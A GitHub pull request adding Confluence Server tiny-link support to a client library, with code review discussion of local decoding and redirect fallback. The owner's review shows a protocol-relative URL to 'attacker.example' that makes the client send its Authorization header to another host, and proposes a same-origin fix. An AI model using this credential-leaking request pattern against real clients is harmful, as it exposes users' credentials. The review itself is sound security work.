Skip to content

feat: support Server/Data Center tiny links - #284

Merged
pchuri merged 1 commit into
pchuri:mainfrom
pastelmind:feat/server-tiny-links
Oct 31, 2026
Merged

pchuri merged 1 commit into
pchuri:mainfrom
pastelmind:feat/server-tiny-links

Conversation

@pastelmind

Copy link
Copy Markdown
Contributor

Previously, tiny links for Confluence Server (ex: https://wiki.example.com/x/<code>) weren't recognized by the tiny URL path. This PR fixes this:

  • Relax tiny link matching pattern to recognize any paths of the form /x/<code>
  • Decode tiny links locally without asking the server when possible

Pull Request Template

Description

Brief description of what this PR does.

Type of Change

  • Bug fix (non-breaking change which fixes an issue)
  • New feature (non-breaking change which adds functionality)
  • Breaking change (fix or feature that would cause existing functionality to not work as expected)
  • Documentation update
  • Performance improvement
  • Code refactoring

Testing

  • Tests pass locally with my changes
  • I have added tests that prove my fix is effective or that my feature works
  • New and existing unit tests pass locally with my changes

Checklist

  • My code follows the style guidelines of this project
  • I have performed a self-review of my own code
  • I have commented my code, particularly in hard-to-understand areas
  • I have made corresponding changes to the documentation
  • My changes generate no new warnings
  • Any dependent changes have been merged and published in downstream modules

Screenshots (if applicable)

Add screenshots to help explain your changes.

Additional Context

Add any other context about the pull request here.

@by-ae by-ae left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ran this locally at 495baf4: full jest suite passes (48 suites, 1939 tests). I also checked the decoder against an independent encoder written from Atlassian's tiny link scheme (8-byte little-endian id -> base64 -> strip = and trailing A -> /->-, +->_), and it gives back the same codes the tests use: 5110465220 -> xIKbMAE, 5961218939 -> e-tQYwE, 5849804679 -> h__sXAE. So the decoding itself looks right.

Two behaviour changes I noticed while poking at it:

1. Mistyped tiny links now return a made-up page id instead of an error. Any 1-11 char code now decodes, so the redirect/404 path is never reached for them:

https://test.atlassian.net/wiki/x/invalidCode  main: throws "Could not resolve page ID from tiny link"
                                               PR:   15537772927206980490
https://test.atlassian.net/wiki/x/abc          main: throws
                                               PR:   46953

That's why the existing test had to change invalidCode to invalidTinyCode. A cheap guard in decodeTinyLinkCode would be to re-encode the decoded id and only accept it if it gives back the same code (invalidCode re-encodes to invalidCodc, because the 11th char only carries 4 bits), and/or to reject ids above 0x7fffffffffffffffn since Confluence ids are Java longs. Those would let invalidCode fall through to the redirect again. Short codes like abc can't be told apart from real ones, so that part is probably just accepted.

2. The redirect fallback with a hostless link goes to the REST base. Now that /x/... (starting with /) gets into this branch, an undecodable code is fetched with this.client.get(pageIdOrUrl) (L471), and axios joins it onto baseURL. With a mocked client I see:

extractPageId('/x/aBcDeFgHiJkL')  ->  GET https://test.atlassian.net/rest/api + /x/aBcDeFgHiJkL

so it asks .../rest/api/x/... rather than https://test.atlassian.net/x/.... Resolving it first with new URL(pageIdOrUrl, this.configuredOrigin()).href (like the pathname match above already does) would send it to the right place. Not a big deal since valid codes never get here, but it means the fallback can't work for the new hostless form.

@pchuri

pchuri commented Oct 28, 2026

Copy link
Copy Markdown
Owner

Thanks for this! Decoding the code locally is a nice improvement, since most tiny links won't need a network round-trip anymore.

Two things to sort out while you rebase:

1. Conflict with #288

#288 (the fix for #285) just landed on main and touches the same block in extractPageId. It adds this.assertSameOrigin(pageIdOrUrl) right before the tiny-link this.client.get. Could you rebase on main?

2. Relative paths in the fallback request

When the code can't be decoded locally (e.g. 12+ chars), the URL goes straight to this.client.get(pageIdOrUrl). With the new startsWith('/') branch, that has two problems:

  • //attacker.example/x/<code> also matches startsWith('/'). axios treats protocol-relative URLs as absolute and ignores baseURL, so the request goes to attacker.example with the Authorization header. On this branch:
    extractPageId('//attacker.example/x/AAAAAAAAAAAA')
    → GET //attacker.example/x/AAAAAAAAAAAA (Authorization header set)
    
  • A plain /x/<code> gets joined onto baseURL, so the request ends up at <origin>/rest/api/x/<code> instead of the tiny link.

#288's guard will block the first case after the rebase. It will also reject every relative path, though, because new URL('/x/...') throws without a base. So relative tiny links that can't be decoded locally would fail with "Refusing to send credentials".

Resolving the URL against the configured origin before the check should fix both:

const decodedId = decodeTinyLinkCode(tinyLinkMatch[1]);
if (decodedId) {
  return decodedId;
}

const absoluteUrl = new URL(pageIdOrUrl, this.configuredOrigin()).href;
this.assertSameOrigin(absoluteUrl);
try {
  const response = await this.client.get(absoluteUrl, { /* same options */ });
  // ...redirect handling unchanged

Since absoluteUrl is absolute, axios uses it as is, so context paths like /confluence/x/<code> still work. The redirect recursion doesn't need any changes.

Two tests would be great too: //other-host/x/<long-code> should be rejected without making a request, and /x/<long-code> should be requested at <configured origin>/x/<long-code>.

@pchuri

pchuri commented Oct 31, 2026

Copy link
Copy Markdown
Owner

Rebased onto main after the tiny-link origin fix (#288). The local decoding runs first, so decodable codes never hit the network. For undecodable codes the same-origin check from #288 still runs before the redirect request, and host-less paths (/x/<code>) now resolve against the configured origin instead of the API baseURL. I updated the security regression tests to use undecodable codes so they still go through that path, and added tests for local decoding on a look-alike host and host-less fallback.

@pchuri
pchuri force-pushed the feat/server-tiny-links branch from 495baf4 to a9a1e26 Compare October 31, 2026 04:57
- Recognize tiny links for Confluence Server and Data Center.
  (ex: `https://wiki.example.com/x/<code>`)
- Decode tiny links locally. Codes that cannot be decoded still fall
  back to resolving the redirect.
@pchuri
pchuri force-pushed the feat/server-tiny-links branch from a9a1e26 to 21a5f66 Compare October 31, 2026 05:13
@pchuri
pchuri merged commit 7ffb799 into pchuri:main Oct 31, 2026
6 checks passed
github-actions Bot pushed a commit that referenced this pull request Oct 31, 2026
# [2.31.0](v2.30.6...v2.31.0) (2026-10-31)

### Features

* support Server/Data Center tiny links ([#284](#284)) ([7ffb799](7ffb799))
@github-actions

Copy link
Copy Markdown

🎉 This PR is included in version 2.31.0 🎉

The release is available on:

Your semantic-release bot 📦🚀

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants